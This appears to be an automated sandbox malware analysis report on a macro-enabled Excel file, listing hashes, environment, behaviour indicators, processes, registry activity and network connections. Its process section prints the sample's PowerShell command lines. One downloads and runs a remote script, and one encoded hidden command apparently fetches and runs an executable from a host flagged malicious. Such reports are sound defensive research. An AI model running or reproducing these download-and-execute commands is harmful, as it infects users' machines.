Malware analysis bomfunk-valid.xlsb Malicious activity

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File name:	bomfunk-valid.xlsb
Full analysis:	https://app.any.run/tasks/47d2c26a-9b45-4f13-b2d6-0f4678af2ac7
Verdict:	Malicious activity
Analysis date:	July 17, 2019, 07:56:01
OS:	Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:	macros macros-on-close
Indicators:
MIME:	application/vnd.openxmlformats-officedocument.spreadsheetml.sheet
File info:	Microsoft Excel 2007+
MD5:	6FEE729BD7F3B4BA6A0EEBC4760889FC
SHA1:	FC9134BEE641855F723776E256B41F4B031B8B05
SHA256:	09F0ECCE67B448167BD0BA59F3CDCED646B59136424B362EF3F472BC741B255E
SSDEEP:	1536:1S07WqOn7xslxDytJkYq8m0Fhq4uaj34WFE1P/MnPf3yZjueOXlus57fv414LLgR:1sqY+kJk3aXb7Y1P0Pf0jYfUO0sblNtO

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Launch configuration

Task duration:: 60 seconds
Heavy Evasion option:: off
Network geolocation:: off
Additional time used:: none
MITM proxy:: off
Privacy:: Public submission
Fakenet option:: off
Route via Tor:: off
Autoconfirmation of UAC:: on
Network:: on

Software preset

Internet Explorer 8.0.7601.17514 undefined
Adobe Acrobat Reader DC MUI (15.023.20070)
Adobe Flash Player 26 ActiveX (26.0.0.131)
Adobe Flash Player 26 NPAPI (26.0.0.131)
Adobe Flash Player 26 PPAPI (26.0.0.131)
Adobe Refresh Manager (1.8.0)
CCleaner (5.35)
FileZilla Client 3.36.0 (3.36.0)
Google Chrome (75.0.3770.100)
Google Update Helper (1.3.34.7)
Java 8 Update 92 (8.0.920.14)
Java Auto Updater (2.8.92.14)
Microsoft .NET Framework 4.7.2 (4.7.03062)
Microsoft Office Access MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Access Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Excel MUI (English) 2010 (14.0.6029.1000)
Microsoft Office OneNote MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Outlook MUI (English) 2010 (14.0.6029.1000)
Microsoft Office PowerPoint MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Professional 2010 (14.0.6029.1000)
Microsoft Office Proof (English) 2010 (14.0.6029.1000)
Microsoft Office Proof (French) 2010 (14.0.6029.1000)
Microsoft Office Proof (Spanish) 2010 (14.0.6029.1000)
Microsoft Office Proofing (English) 2010 (14.0.6029.1000)
Microsoft Office Publisher MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Single Image 2010 (14.0.6029.1000)
Microsoft Office Word MUI (English) 2010 (14.0.6029.1000)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (9.0.30729.6161)
Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 (10.0.40219)
Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (12.0.30501.0)
Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.21.27702 (14.21.27702.2)
Microsoft Visual C++ 2019 X86 Additional Runtime - 14.21.27702 (14.21.27702)
Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.21.27702 (14.21.27702)
Mozilla Firefox 67.0.4 (x86 en-US) (67.0.4)
Notepad++ (32-bit x86) (7.5.1)
Opera 12.15 (12.15.1748)
Skype version 8.29 (8.29)
Update for Microsoft .NET Framework 4.7.2 (KB4087364) (1)
VLC media player (2.2.6)
WinRAR 5.60 (32-bit) (5.60.0)

Hotfixes

Client LanguagePack Package
Client Refresh LanguagePack Package
CodecPack Basic Package
Foundation Package
IE Troubleshooters Package
InternetExplorer Optional Package
KB2534111
KB2999226
KB4019990
KB976902
LocalPack AU Package
LocalPack CA Package
LocalPack GB Package
LocalPack US Package
LocalPack ZA Package
ProfessionalEdition
UltimateEdition

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MALICIOUS
- Executes PowerShell scripts
  - EXCEL.EXE (PID: 2848)
- Unusual execution from Microsoft Office
  - EXCEL.EXE (PID: 2848)
SUSPICIOUS
- Creates files in the user directory
  - powershell.exe (PID: 2556)
  - powershell.exe (PID: 1920)
- Application launched itself
  - powershell.exe (PID: 1920)
- Executes PowerShell scripts
  - powershell.exe (PID: 1920)
INFO
- Reads Microsoft Office registry keys
  - EXCEL.EXE (PID: 2848)

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

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No Malware configuration.

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TRiD

.xlsm	\|	Excel Microsoft Office Open XML Format document (with Macro) (50.8)
.xlsx	\|	Excel Microsoft Office Open XML Format document (30)
.zip	\|	Open Packaging Conventions container (15.4)
.zip	\|	ZIP compressed archive (3.5)

EXIF

ZIP

ZipRequiredVersion:	20
ZipBitFlag:	0x0006
ZipCompression:	Deflated
ZipModifyDate:	1980:01:01 00:00:00
ZipCRC:	0xee83f7bd
ZipCompressedSize:	421
ZipUncompressedSize:	1289
ZipFileName:	[Content_Types].xml

XMP

Creator:	Joshu

XML

LastModifiedBy:	Joshu
CreateDate:	2019:06:24 04:38:45Z
ModifyDate:	2019:06:26 13:01:27Z
Application:	Microsoft Excel
DocSecurity:	None
ScaleCrop:	No
HeadingPairs:	Worksheets 1
TitlesOfParts:	Sheet1
Company:	-
LinksUpToDate:	No
SharedDoc:	No
HyperlinksChanged:	No
AppVersion:	16.03

No data.

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All screenshots are available in the full report

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Total processes

Monitored processes

Malicious processes

Suspicious processes

Behavior graph

Click at the process to see the details

Process information

PID

CMD

Path

Indicators

Parent process

1920

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('https://jplymell.com/dmc/ps.ps1')"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

EXCEL.EXE

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows PowerShell

Exit code:

Version:

6.1.7600.16385 (win7_rtm.090713-1255)

Modules

Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll

2556

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex BYPasS -noP -W HIddEN -eC IAAJAAkACQAJAHMAZQBUAC0AQwBvAE4AVABlAE4AdAAgAAkACQAJAAkACQAtAFYAYQAgACAAIAAoACAAIAAgACAAIAAgACAALgAoACcAbgBlAHcALQBPAEIASgBFAGMAdAAnACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAApAAkACQAJAAkACQBOAGUAdAAuAHcARQBCAGMAbABJAGUAbgBUACAAIAAJACkALgBkAG8AdwBuAEwATwBBAEQARABBAHQAYQAoACAACQAJAAkAIAAdIGgAdAB0AHAAcwA6AC8ALwBqAHAAbAB5AG0AZQBsAGwALgBjAG8AbQAvAG0AYQBpAGwALwBzAG0AYQByAHQAYQBwAHAALgBqAHAAZwAdIAkACQAgACkAIAAJAAkACQAJAC0AZQBuAAkACQAgACAAIAAJAEIAWQB0AGUAIAAgAAkALQBwAGEAVABIAAkACQAgAAkACQAdICQAZQBOAHYAOgBhAFAAUABEAEEAdABhAFwAVwBtAHAAcgBpAHYAZQBsAGUAZwBlAC4AZQB4AGUAHSAgAAkAIAA7ACAACQAJAAkACQAJAAkAaQBOAHYAbwBrAEUALQBFAHgAcAByAGUAcwBTAGkAbwBOACAACQAJAAkACQAgAB0gJABFAE4AVgA6AGEAcABwAEQAYQBUAEEAXABXAG0AcAByAGkAdgBlAGwAZQBnAGUALgBlAHgAZQAdIA==

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows PowerShell

Exit code:

Version:

6.1.7600.16385 (win7_rtm.090713-1255)

Modules

Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll

2848

"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

—

explorer.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Microsoft Excel

Exit code:

Version:

14.0.6024.1000

Modules

Images
c:\program files\microsoft office\office14\excel.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll

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Total events

1 023

Read events

864

Write events

152

Delete events

Modification events


(PID) Process:	(2848) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:	write	Name:	uk"
Value: 756B2200200B0000010000000000000000000000
(PID) Process:	(2848) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:	write	Name:	1033
Value: Off
(PID) Process:	(2848) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:	write	Name:	1033
Value: On
(PID) Process:	(2848) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel
Operation:	write	Name:	MTTT
Value: 200B000026ADC31C753CD50100000000
(PID) Process:	(2848) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:	delete value	Name:	uk"
Value: 756B2200200B0000010000000000000000000000
(PID) Process:	(2848) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:	delete key	Name:
Value:
(PID) Process:	(2848) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency
Operation:	delete key	Name:
Value:
(PID) Process:	(2848) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	UNCAsIntranet
Value: 0
(PID) Process:	(2848) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	AutoDetect
Value: 1
(PID) Process:	(2848) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\17D497
Operation:	write	Name:	17D497
Value: 04000000200B00003400000043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C004C006F00630061006C005C00540065006D0070005C0062006F006D00660075006E006B002D00760061006C00690064002E0078006C0073006200000000002200000043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C004C006F00630061006C005C00540065006D0070005C000100000000000000E016D11D753CD50197D4170097D4170000000000AC020000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

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Executable files

Suspicious files

Text files

Unknown types

Dropped files

PID	Process	Filename		Type
2848	EXCEL.EXE	C:\Users\admin\AppData\Local\Temp\CVRCF65.tmp.cvr		—
		MD5:—	SHA256:—
1920	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\JM3R8XJY9QVIOWXFEIYB.temp		—
		MD5:—	SHA256:—
2556	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\HI8950DZTWFF9JEVGO42.temp		—
		MD5:—	SHA256:—
1920	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF186230.TMP		binary
		MD5:—	SHA256:—
1920	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms		binary
		MD5:—	SHA256:—
2556	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms		binary
		MD5:—	SHA256:—
2556	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF186aab.TMP		binary
		MD5:—	SHA256:—

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

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HTTP(S) requests

TCP/UDP connections

DNS requests

Threats

HTTP requests

No HTTP requests

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID	Process	IP	Domain	ASN	CN	Reputation
2556	powershell.exe	189.38.24.21:443	jplymell.com	Instituto de Tecnologia Informacao Brasil	BR	malicious
1920	powershell.exe	189.38.24.21:443	jplymell.com	Instituto de Tecnologia Informacao Brasil	BR	malicious

DNS requests

Domain	IP	Reputation
jplymell.com	189.38.24.21	malicious

Threats

Found threats are available for the paid subscriptions

1 ETPRO signatures available at the full report

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No debug info

General Info

bomfunk-valid.xlsb

6FEE729BD7F3B4BA6A0EEBC4760889FC

FC9134BEE641855F723776E256B41F4B031B8B05

09F0ECCE67B448167BD0BA59F3CDCED646B59136424B362EF3F472BC741B255E

1536:1S07WqOn7xslxDytJkYq8m0Fhq4uaj34WFE1P/MnPf3yZjueOXlus57fv414LLgR:1sqY+kJk3aXb7Y1P0Pf0jYfUO0sblNtO

Software environment set and analysis options

Launch configuration

Software preset

Hotfixes

Behavior activities

MALICIOUS

Executes PowerShell scripts

Unusual execution from Microsoft Office

SUSPICIOUS

Creates files in the user directory

Application launched itself

Executes PowerShell scripts

INFO

Reads Microsoft Office registry keys

Malware configuration

Static information

TRiD

EXIF

ZIP

XMP

XML

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Modules

Information

Modules

Information

Modules

Registry activity

Modification events

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings